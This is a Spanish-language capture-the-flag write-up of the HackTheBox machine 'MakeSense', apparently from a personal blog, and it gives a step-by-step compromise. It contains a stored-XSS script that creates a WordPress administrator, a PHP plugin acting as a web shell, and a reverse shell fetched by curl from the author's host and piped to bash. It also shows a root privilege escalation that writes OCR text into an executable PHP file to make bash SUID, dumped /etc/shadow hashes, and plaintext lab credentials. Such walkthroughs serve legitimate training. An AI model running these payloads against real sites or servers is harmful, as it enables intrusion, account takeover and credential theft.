HackTheBox - MakeSense

sckull — Sat, 31 Oct 2026 00:00:00 +0000

En MakeSense abusamos de un Stored XSS en un formulario de WordPress que nos permitio la creacion de un usuario administrador, para luego crear y ejecutar un plugin para acceso inicial. Credenciales para la configuracion de base de datos permitieron el acceso a un nuevo usuario. Escalamos privilegios a traves de un sitio web que ejecutaba Tesseract como root y permitia guardar texto a archivos con cualquier extension, esto permitio ejecutar codigo como root en archivos PHP.

Recon

nmap

nmap muestra multiples puertos abiertos: https (443), ssh (22) y filtrados los puertos 80, 8001.

# Nmap 7.99 scan initiated Thu Jul  9 01:20:00 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,443,8001 -sV -sC -oN nmap_scan 10.129.2.80
Nmap scan report for 10.129.2.80
Host is up (0.28s latency).

PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 27:c3:7d:10:17:3b:dc:29:cf:05:83:33:ab:28:d0:38 (ECDSA)
|_  256 a3:46:f2:d7:1f:43:41:31:35:a2:88:31:ff:2a:0b:22 (ED25519)
80/tcp   filtered http
443/tcp  open     ssl/http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
| tls-alpn: 
|_  http/1.1
|_http-title: Agency LLC
|_ssl-date: TLS randomness does not represent time
|_http-generator: WordPress 7.0
| ssl-cert: Subject: commonName=makesense.htb
| Not valid before: 2026-05-29T16:37:29
|_Not valid after:  2126-05-05T16:37:29
8001/tcp filtered vcom-tunnel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul  9 01:20:33 2026 -- 1 IP address (1 host up) scanned in 32.81 seconds

Web Site

El sitio web ofrece soluciones web.

Se muestra al equipo, potencialmente nombres de usuarios.

Encontramos un formulario de contacto.

Web Tech

wappalyzer indica un WordPress como el CMS del sitio.

Directory Brute Forcing

feroxbuster muestra contenido relacionado a WordPress.

❯ feroxbuster -k -u https://makesense.htb -w $CM
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://makesense.htb/
 🚩  In-Scope Url          │ makesense.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       11l       39w      319c https://makesense.htb/wp-content/themes/webagency/style.css
200      GET      121l      264w     2205c https://makesense.htb/wp-content/themes/webagency/assets/css/custom.css
405      GET        1l        6w       42c https://makesense.htb/xmlrpc.php
400      GET        1l        1w        1c https://makesense.htb/wp-admin/admin-ajax.php
200      GET        2l      400w    13577c https://makesense.htb/wp-includes/js/jquery/jquery-migrate.min.js
200      GET        5l       79w    22762c https://makesense.htb/wp-includes/js/wp-emoji-release.min.js
200      GET      576l     1856w    19944c https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
200      GET      586l     1683w    21554c https://makesense.htb/wp-content/themes/webagency/assets/js/main.js
200      GET        3l     1263w    87553c https://makesense.htb/wp-includes/js/jquery/jquery.min.js
200      GET      348l     1601w    34914c https://makesense.htb/
❯

WPScan

Se ejecuto wpscan para verificar plugins y temas vulnerables, tambien enumeracion de usuarios. Se indica WordPress version 7.0 y los usuarios: jake, admin y walter, como informacion relevante.

❯ wpscan --url https://makesense.htb -e vp,u,vt --disable-tls-checks --no-banner
[+] URL: https://makesense.htb/ [10.129.2.80]
[+] Started: Thu Jul  9 01:47:36 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.58 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://makesense.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: https://makesense.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: https://makesense.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://makesense.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 7.0 identified (Latest, released on 2026-05-20).
 | Found By: Meta Generator (Passive Detection)
 |  - https://makesense.htb/, Match: 'WordPress 7.0'
 | Confirmed By: Atom Generator (Aggressive Detection)
 |  - https://makesense.htb/?feed=atom, <generator uri="https://wordpress.org/" version="7.0">WordPress</generator>

[+] WordPress theme in use: webagency
 | Location: https://makesense.htb/wp-content/themes/webagency/
 | Style URL: https://makesense.htb/wp-content/themes/webagency/style.css?ver=7.0
 | Style Name: WebAgency
 | Style URI: https://example.com
 | Description: Modern web development agency theme with Tailwind CSS...
 | Author: WebAgency Team
 | Author URI: https://example.com
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://makesense.htb/wp-content/themes/webagency/style.css?ver=7.0, Match: 'Version: 1.0'

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:03:37 <========================================================================================================> (652 / 652) 100.00% Time: 00:03:37
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 <==========================================================================================================> (10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] jake
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] walter
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Jul  9 01:51:35 2026
[+] Requests Done: 1366
[+] Cached Requests: 12
[+] Data Sent: 362.361 KB
[+] Data Received: 22.563 MB
[+] Memory used: 344.184 MB
[+] Elapsed time: 00:03:59
❯

XSS to Admin - WordPress

Tras rellenar el formulario de contacto este muestra un mensaje:

Thank you for contacting us! We will get back to you soon.

Podria indicar una revision de este por parte de algun usuario. Agregamos un tag <script> definiendo un payload XSS.

`1`	`<script src="http://10.10.14.215/a.js"></script>`

Se indica un pequeno mensaje antes del envio.

Luego obtuvimos solicitudes desde la maquina, es muy posible que sea Stored XSS.

❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.2.80 - - [09/Jul/2026 02:09:36] code 404, message File not found
10.129.2.80 - - [09/Jul/2026 02:09:36] "GET /a.js HTTP/1.1" 404 -
10.129.2.80 - - [09/Jul/2026 02:09:37] code 404, message File not found
10.129.2.80 - - [09/Jul/2026 02:09:37] "GET /a.js HTTP/1.1" 404 -

Admin User Creation

A traves del XSS encontrado creamos un nuevo usuario basados en el PoC mostrado en Exploiting an XSS Vulnerability in WordPress to Create an Admin Account: A Proof of Concept. Este realiza la creacion a traves de jQuery con los valores indicados. Creamos el archivo a.js indicando el codigo y realizamos una solicitud con el formulario.

u="/wp-admin/user-new.php";
jQuery.get(u,function(e){
  jQuery.post(u,{
    action:"createuser",
    "_wpnonce_create-user":e.match(/_wpnonce_create-user" value="(.+?)"/)[1],
    user_login:"sckull",
    email:"sckull@htb.htb",
    pass1:"5upp3rDupp3rP455",
    pass2:"5upp3rDupp3rP455",
    role:"administrator"
  });
});

Tras obtener la solicitud, intentamos acceder con las credenciales, clic en This email is correct.

Esto nos permitio el acceso al dashboard de Wordpress con el nuevo usuario.

WordPress Dashboard

En Contact Submission encontramos todos los formularios enviados.

Malicious Plugin

Creamos un plugin para la ejecucion del comando whoami, subimos, activamos y visitamos la URL del archivo PHP para ejecutar el comando.

❯ zip zero-plugin.zip -r zero-plugin
updating: zero-plugin/ (stored 0%)
updating: zero-plugin/hello.php (deflated 36%)
❯ unzip -l zero-plugin.zip
Archive:  zero-plugin.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2026-07-09 03:11   zero-plugin/
      348  2026-07-09 03:11   zero-plugin/hello.php
---------                     -------
      348                     2 files
❯ cat zero-plugin/hello.php
<?php
/**
 * Plugin Name:       Hello World Admin Notice
 * Plugin URI:        https://example.com/hello-world
 * Description:       Displays a simple "Hello World!" message at the top of the WordPress Admin Dashboard.
 * Version:           1.0.0
 * Author:            Your Name
 * License:           GPLv2 or later
 */

echo(system("whoami"));
?>
❯ curl -ks https://makesense.htb/wp-content/plugins/zero-plugin/hello.php; echo
www-data
www-data
❯

User - www-data

Editamos el plugin a traves del dashboard para la ejecucion de una shell inversa, logrando acceso como www-data.

# Codigo en plugin:
# echo(system("curl 10.10.14.215:8000/10.10.14.215:1336|bash"));
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.215] from makesense.htb [10.129.2.80] 42474
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/wp-admin
$

User - Walter

Dentro del archivo wp-config.php encontramos credenciales para el usuario walter para una base de datos wordpress de MySQL que no esta siendo utilizada.

www-data@makesense:/var/www/html$ cat wp-config.php | grep -v "*"
<?php
// SQLite database configuration
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );

// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );

$table_prefix = 'wp_';
define( 'WP_DEBUG', false );

define('AUTH_KEY',         '%88$_8C0xYR s^9jz;F epY,CO|+Up#ZFIdRS&Gqd~5O/|<^7DmLtEm=SjV|jmWZ');
define('NONCE_KEY',        's>>f8%soM5P=D$J9UXV-kF]lKZ92.KF%FDS#+! ;(A|C9kMWT(=A>99->-$$>UvU');
define('SECURE_AUTH_SALT', '-{[x4pgl %S5{_s}nE!%H8,05AO_699M4_[mLt^tVC$Kh4;s|n8~O<CSE4#uPWN.');
define('NONCE_SALT',       'j #rMhd[olj2$j8|QAF7L8rR-D kf&gs,:oX4py6x?6V3|oJ?[b~h,[~3uhH.|X%');

if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

define( 'WP_SQLITE_PLUGIN', true );
require_once ABSPATH . 'wp-settings.php';
www-data@makesense:/var/www/html$

Dicho usuario existe en la maquina.

www-data@makesense:/var/www/html$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
walter:x:1000:1000:walter:/home/walter:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
admin:x:1001:1001:,,,:/home/admin:/bin/bash
www-data@makesense:/var/www/html$

Cambiamos a este con la contrasena logrando el acceso a la flag user.txt.

www-data@makesense:/var/www/html$ su walter
Password: JbhHDAEgXvri3!
walter@makesense:/var/www/html$ whoami;id
walter
uid=1000(walter) gid=1000(walter) groups=1000(walter)
walter@makesense:/var/www/html$ cd
walter@makesense:~$ ls
user.txt
walter@makesense:~$ cat user.txt
eaf7115d09658cf5cd3f5a87cc973864
walter@makesense:~$

Las credenciales son validas por SSH.

❯ nxc ssh makesense.htb -u walter -p 'JbhHDAEgXvri3!'
SSH         10.129.2.80     22     makesense.htb    [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16
SSH         10.129.2.80     22     makesense.htb    [+] walter:JbhHDAEgXvri3!  Linux - Shell access!
❯ ssh walter@makesense.htb
The authenticity of host 'makesense.htb (10.129.2.80)' can't be established.
ED25519 key fingerprint is: SHA256:ZuPyKYvneacLwQJfW7aR8rIt6ppYCS22aWYI5nO3Ddk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'makesense.htb' (ED25519) to the list of known hosts.
walter@makesense.htb's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)

# [ ... cut ... ]

Last login: Thu Jul 9 07:17:31 2026 from 10.10.14.215
walter@makesense:~$ whoami;id;pwd
walter
uid=1000(walter) gid=1000(walter) groups=1000(walter)
/home/walter
walter@makesense:~$

Privesc

Port Forwarding

Localmente encontramos el puerto 8001 con autenticacion requerida.

walter@makesense:~$ ss -ntpl
State                 Recv-Q                Send-Q                               Local Address:Port                               Peer Address:Port               Process               
LISTEN                0                     4096                                 127.0.0.53%lo:53                                      0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:8001                                    0.0.0.0:*                                        
LISTEN                0                     511                                        0.0.0.0:443                                     0.0.0.0:*                                        
LISTEN                0                     511                                        0.0.0.0:80                                      0.0.0.0:*                                        
LISTEN                0                     4096                                       0.0.0.0:22                                      0.0.0.0:*                                        
LISTEN                0                     4096                                    127.0.0.54:53                                      0.0.0.0:*                                        
walter@makesense:~$ curl 127.0.0.1:8001
walter@makesense:~$ curl 127.0.0.1:8001;echo
Authentication required.
walter@makesense:~$

Este mismo puerto aparece como un proceso en ejecucion de root como servidor local.

walter@makesense:/dev/shm$ ps -ef | grep root
# [ ... cut ... ]
root        1078       2  0 05:15 ?        00:00:01 [kworker/1:2H+kblockd]
root        1162       1  0 05:16 ?        00:00:00 /usr/sbin/ModemManager
root        1376       1  0 05:16 ?        00:00:00 /usr/sbin/cron -f -P
root        1379    1376  0 05:16 ?        00:00:00 /usr/sbin/CRON -f -P
root        1392    1379  0 05:16 ?        00:00:00 /bin/sh -c /root/.scripts/start_ocr4.sh
root        1393    1392  0 05:16 ?        00:00:06 /bin/bash /root/.scripts/start_ocr4.sh
root        1404    1393  0 05:16 ?        00:00:00 php -S 127.0.0.1:8001 -t /root/ocr4/
root        1407       1  0 05:16 tty1     00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root        1410       1  0 05:16 ?        00:00:04 /usr/sbin/apache2 -k start
root        1733       1  0 05:17 ?        00:00:00 /usr/libexec/upowerd
root        2430       1  0 05:19 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        4733       2  0 05:28 ?        00:00:00 [kworker/u4:1-ext4-rsv-conversion]
root        5654       2  0 05:31 ?        00:00:03 [kworker/0:2-cgroup_free]
root       15015       2  0 06:07 ?        00:00:08 [kworker/1:2-events]
root       21138       2  0 06:30 ?        00:00:00 [kworker/u4:0-events_power_efficient]
root       26407       2  0 06:51 ?        00:00:00 [kworker/1:1-cgroup_free]
root       33416       2  0 07:15 ?        00:00:00 [kworker/u4:2-flush-8:0]
root       33735   33037  0 07:16 pts/0    00:00:00 su walter
root       33741       2  0 07:16 ?        00:00:00 [psimon]
root       34149    2430  0 07:17 ?        00:00:00 sshd: walter [priv]
root       34938    2430  0 07:19 ?        00:00:00 sshd: walter [priv]
walter     36146   34205  0 07:23 pts/1    00:00:00 grep --color=auto root
root       36147    1393  0 07:23 ?        00:00:00 sleep 1
walter@makesense:/dev/shm$

Realizamos port forwarding para obtener el puerto localmente.

`1`	`ssh walter@makesense.htb -L 8001:localhost:8001 -fN`

OCR4 - “Draw text. Read it back.”

Las credenciales de walter permitieron el acceso al sitio.

Se muestra un ‘formulario’ donde es posible dibujar texto.

Este lo reconoce y permite guardar en un archivo.

Al guardar un texto este muestra:

Saved as: saved/result.txt

Observamos su contenido bajo saved/result.txt.

1
2
3

❯ curl http://localhost:8001/saved/result.txt
HOL*<
❯

Al procesar un dibujo, pspy muestra la ejecucion de tesseract como root para extraer texto de la imagen.

`1`	`2026/07/09 07:48:06 CMD: UID=0 PID=43458 \| tesseract /root/ocr4/tmp/draw_6a4f523660db3.png /root/ocr4/tmp/out_6a4f523660db8`

Shell

Para obtener una shell root debemos crear una imagen en texto con codigo PHP. Ya que comprobamos que podemos guardar el contenido del texto con cualquier extension y al ser un servidor PHP esta se ejecutaria. Creamos una imagen con texto en Photoshop con la fuente Comic Sans MS con codigo que incluye un archivo externo <?php include “/tmp/file“; ?>.

El archivo externo da permisos SUID a bash.

`1`	`echo "<?php system('chmod +s /usr/bin/bash'); ?>" > /tmp/file`

Realizamos la subida de la imagen con curl especificando Cookies + Authorization y obtenemos el OCR_ID, este lo utilizamos para guardar el archivo sh.php para finalmente realizar la solicitud y ejecutar el codigo. La cookie PHPSESSID pertenece a una sesion autenticada.

# 1 Capture the ID
OCR_ID=$(curl -sX POST http://localhost:8001/ -x http://localhost:8080 -H "Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh" -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' --data-urlencode "canvas_image=data:image/png;base64,$(base64 -w 0 /mnt/hgfs/sharedvm/image.png)" | grep ocr_ | cut -d '"' -f6)

# 2 Save file
curl -isk -x http://localhost:8080 -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh' -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' -d "ocr_id=$OCR_ID&filename=sh.php&save_output=Save" http://localhost:8001

# 3 Trigger execution
curl -H "Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh" -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' -s http://localhost:8001/saved/sh.php -x http://localhost:8080

Los permisos fueron agregados, ejecutamos con la flag -p logrando acceso root y a la flag root.txt.

walter@makesense:/tmp$ ls -lah /usr/bin/bash
-rwsr-xr-x 1 root root 1.4M Mar 31  2024 /usr/bin/bash
walter@makesense:/tmp$ /usr/bin/bash -p
bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# ls
ocr4  root.txt
bash-5.2# cat root.txt
2cfcc5eef66a2766068b876f6c6690c7
bash-5.2#

Appendix

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

bash-5.2# cat /etc/shadow
root:$y$j9T$oBMykAbyiOXMRmKow26tM0$k1tS0gbfGLr/iaC9BiWBsKCkC2G129/fuXrB1NZH9v4:20605:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20598::::::
walter:$y$j9T$a2uh7EQC.6xLJwFDk1eN..$LWCFJkjTy2Hqe2qpvMXKy35gQWXhQyKTAYyEEgimEF4:20605:0:99999:7:::
sshd:!:20598::::::
admin:$y$j9T$/LYe2pddj/JHyMJ2OxrTu1$1dijnsIFMoSMX/7I6VLysZWgJj/odHFsPSqcqA/0Qy3:20602:0:99999:7:::
_laurel:!:20602::::::
bash-5.2#

Source Code

Codigo fuente de la aplicacion local PHP.

bash-5.2# ls -lah
total 36K
drwxr-xr-x  4 root root 4.0K Jul  9 07:20 .
drwx------ 10 root root 4.0K Jul  9 05:16 ..
-rw-r--r--  1 root root  14K Jun  1 14:51 index.php
-rw-r--r--  1 root root  698 May 25 19:40 router.php
drwxr-xr-x  2 root root 4.0K Jul  9 09:46 saved
drwxr-xr-x  2 root root 4.0K Jul  9 10:12 tmp
bash-5.2# cat index.php 
<?php
// ======================================
// AUTHENTICATION
// ======================================
session_start();

$AUTH_USER = 'walter';
$AUTH_PASS = 'JbhHDAEgXvri3!';

if (
    !isset($_SERVER['PHP_AUTH_USER']) ||
    !isset($_SERVER['PHP_AUTH_PW']) ||
    $_SERVER['PHP_AUTH_USER'] !== $AUTH_USER ||
    $_SERVER['PHP_AUTH_PW'] !== $AUTH_PASS
) {
    header('WWW-Authenticate: Basic realm="OCR Protected"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authentication required.';
    exit;
}

// ======================================
// SETUP
// ======================================
$outputText   = '';
$error        = '';
$savedMessage = '';
$ocr_id       = '';

$tmpDir  = __DIR__ . '/tmp';
$saveDir = __DIR__ . '/saved';

if (!is_dir($tmpDir)) mkdir($tmpDir, 0755, true);
if (!is_dir($saveDir)) mkdir($saveDir, 0755, true);

// Initialize OCR session storage
if (!isset($_SESSION['ocr_results'])) {
    $_SESSION['ocr_results'] = [];
}

// ======================================
// HANDLE DRAWN IMAGE OCR
// ======================================
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['canvas_image'])) {

    $data = $_POST['canvas_image'];

    if (!preg_match('/^data:image\/png;base64,/', $data)) {
        $error = 'Invalid image data.';
    } else {

        $data = str_replace('data:image/png;base64,', '', $data);
        $data = base64_decode($data);

        $imagePath  = $tmpDir . '/' . uniqid('draw_') . '.png';
        $outputBase = $tmpDir . '/' . uniqid('out_');

        file_put_contents($imagePath, $data);

        $command = "tesseract " .
            escapeshellarg($imagePath) . " " .
            escapeshellarg($outputBase);

        exec($command . " 2>&1", $execOutput, $returnCode);

        if ($returnCode !== 0) {
            $error = 'Tesseract failed to process the drawing.';
        } else {
            $textFile = $outputBase . '.txt';
            if (file_exists($textFile)) {
                $outputText = file_get_contents($textFile);

                // Store OCR result server-side
                $ocr_id = uniqid('ocr_', true);
                $_SESSION['ocr_results'][$ocr_id] = $outputText;
            }
        }

        @unlink($imagePath);
        @unlink($outputBase . '.txt');
    }
}

// ======================================
// HANDLE SAVE OUTPUT SECURELY
// ======================================
if ($_SERVER['REQUEST_METHOD'] === 'POST' &&
    isset($_POST['save_output'], $_POST['ocr_id'], $_POST['filename'])) {

    $ocr_id_post = $_POST['ocr_id'];

    if (!isset($_SESSION['ocr_results'][$ocr_id_post])) {
        $error = "Invalid OCR request. Cannot save.";
    } else {
        $outputText = $_SESSION['ocr_results'][$ocr_id_post];

        // Optionally remove OCR from session after save
        unset($_SESSION['ocr_results'][$ocr_id_post]);

        $filename = basename($_POST['filename']);
        $filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);


        $filePath = $saveDir . '/' . $filename;
        file_put_contents($filePath, $outputText);

        $savedMessage = "Saved as: saved/$filename";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>MakeSense</title>
    <style>
 <!-- cut -->
    </style>
</head>
<body>

<main class="shell">

    <p class="wordmark">MakeSense</p>

    <h1>Draw text.<br>Read it back.</h1>

    <p class="lede">Sketch a word or short phrase with your cursor or finger. The recognizer returns the plain text, ready to save to a file.</p>

    <div class="canvas-wrap">
        <canvas id="canvas" width="500" height="200"></canvas>
    </div>

    <div class="tools">
        <div class="stroke-group">
            <span class="label">Stroke</span>
            <button type="button" class="stroke-opt" data-w="2">Fine</button>
            <button type="button" class="stroke-opt active" data-w="4">Medium</button>
            <button type="button" class="stroke-opt" data-w="7">Bold</button>
        </div>
        <div class="action-group">
            <button type="button" class="link-btn" onclick="clearCanvas()">Clear</button>
            <button type="button" class="solid-btn" onclick="sendCanvas()">Recognize</button>
        </div>
    </div>

    <form method="post" id="canvasForm" style="display:none;">
        <input type="hidden" name="canvas_image" id="canvas_image">
    </form>

    <?php if ($error): ?>
        <p class="notice error reveal"><?= htmlspecialchars($error) ?></p>
    <?php endif; ?>

    <?php if ($outputText): ?>
        <div class="result-block reveal">
            <p class="caption">Recognized</p>
            <p class="output-text"><?= htmlspecialchars($outputText) ?></p>

            <form method="post">
                <p class="caption">Save as</p>
                <input type="hidden" name="ocr_id" value="<?= htmlspecialchars($ocr_id) ?>">
                <div class="save-row">
                    <input type="text" name="filename" placeholder="result.txt" required>
                    <button type="submit" name="save_output" class="solid-btn">Save</button>
                </div>
            </form>
        </div>
    <?php endif; ?>

    <?php if ($savedMessage): ?>
        <p class="notice success reveal"><?= htmlspecialchars($savedMessage) ?></p>
    <?php endif; ?>

</main>

<script>
const canvas = document.getElementById('canvas');
const ctx = canvas.getContext('2d');
let drawing = false;

ctx.lineWidth = 4;
ctx.lineCap = 'round';
ctx.lineJoin = 'round';
ctx.strokeStyle = '#0a0a0a';

document.querySelectorAll('.stroke-opt').forEach(btn => {
    btn.addEventListener('click', () => {
        document.querySelectorAll('.stroke-opt').forEach(b => b.classList.remove('active'));
        btn.classList.add('active');
        ctx.lineWidth = parseFloat(btn.dataset.w);
    });
});

function pos(e) {
    const rect = canvas.getBoundingClientRect();
    const scaleX = canvas.width / rect.width;
    const scaleY = canvas.height / rect.height;
    const point = e.touches ? e.touches[0] : e;
    return {
        x: (point.clientX - rect.left) * scaleX,
        y: (point.clientY - rect.top) * scaleY,
    };
}

function start(e) {
    e.preventDefault();
    drawing = true;
    const p = pos(e);
    ctx.beginPath();
    ctx.moveTo(p.x, p.y);
}

function move(e) {
    if (!drawing) return;
    e.preventDefault();
    const p = pos(e);
    ctx.lineTo(p.x, p.y);
    ctx.stroke();
}

function end() { drawing = false; }

canvas.addEventListener('mousedown', start);
canvas.addEventListener('mousemove', move);
canvas.addEventListener('mouseup', end);
canvas.addEventListener('mouseleave', end);
canvas.addEventListener('touchstart', start, { passive: false });
canvas.addEventListener('touchmove', move, { passive: false });
canvas.addEventListener('touchend', end);

document.addEventListener('keydown', e => {
    if ((e.metaKey || e.ctrlKey) && e.key === 'Enter') {
        e.preventDefault();
        sendCanvas();
    }
});

function clearCanvas() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);
}

function sendCanvas() {
    document.getElementById('canvas_image').value = canvas.toDataURL('image/png');
    document.getElementById('canvasForm').submit();
}
</script>

</body>
</html>
bash-5.2# cat router.php
<?php
// router.php

register_shutdown_function(function () {
    $error = error_get_last();
    if ($error && in_array($error['type'], [
        E_ERROR,
        E_PARSE,
        E_CORE_ERROR,
        E_COMPILE_ERROR,
    ])) {
        // Log it if you want
        error_log("Fatal error detected, killing server");

        // HARD EXIT — this kills the server process
        posix_kill(posix_getpid(), SIGTERM);
        exit(1);
    }
});

// Normal static file handling
if (php_sapi_name() === 'cli-server') {
    $path = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
    $file = __DIR__ . $path;
    if (is_file($file)) {
        return false;
    }
}

require __DIR__ . '/index.php';
bash-5.2#

]]>

Xss-Stored on sckull